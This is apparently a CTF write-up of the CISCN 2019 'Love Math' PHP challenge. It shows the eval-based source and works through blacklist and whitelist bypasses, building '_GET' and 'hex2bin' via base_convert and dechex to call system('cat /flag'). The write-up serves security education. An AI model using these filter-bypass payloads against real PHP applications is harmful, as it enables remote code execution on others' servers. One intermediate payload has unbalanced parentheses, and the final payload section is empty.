【CISCN 2019初赛】Love Math
Contents
[CISCN 2019初赛]Love Math
思路
-
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
有好几个过滤
-
长度大于80过滤
-
黑名单过滤:关键问题是过滤了
[
、]
1
blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
-
白名单过滤:主要是只能使用部分数学的函数
1
whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
-
过滤了ascci码形式的值
1
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
-
-
对于黑名单绕过
常规的
cat /flag
都不能使用了Note
知识点
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
传参为:
1
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
黑名单还过滤了
[
,]
把这个替换为
{
,}
1
?c=($_GET{a})($_GET{b})&a=system&b=cat /flag
-
对于白名单绕过
不在白名单的部分
-
a
-
b
-
_GET
因为
_GET
难绕过,下面单列来说
a
和b
很好绕过:使用白名单的随便一个数学函数作为命名就行1
?c=($_GET{cos})($_GET{asinh})&cos=system&asinh=cat /flag
-
-
_GET[]
绕过方法使用数学函数
-
hex2bin()
把十六进制字符串转换为ASCII字符
_GET
=>hex2bin(5f 47 45 54)
但问题是:
hex2bin
不在白名单;ascci字符码也会被第三道过滤 -
hex2bin
不在白名单解决使用
base_convert()
函数来转换base_convert()
:任意进制之间转换数字使用方法:
hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin。
hex2bin()
=>base_convert(37907361743,10,36)
里面的
5f 47 45 54
要用dechex()函数将10进制数转换为16进制的数5f 47 45 54
=>dechex(1598506324)
经过上面修改变为:
1
?c=($((base_convert(37907361743,10,36))(dechex(1598506324))){cos})($(base_convert(37907361743,10,36))(dechex(1598506324))){asinh})&cos=system&asinh=cat /flag
-
-
但这个指令太长了
综述再修改:
1 2 3 4 5
base_convert(37907361743,10,36) # “hex2bin” dechex(1598506324) # “5f474554” $pi=hex2bin(5f474554) # $pi="_GET" ($$pi){pi}(($$pi){abs}) # $_GET{pi}($_GET{abs}) $_GET{pi}($_GET{abs}) # $_GET{system}($_GET{cat /flag})
Payload
|
|
总结
- RCE
- 黑名单
- 白名单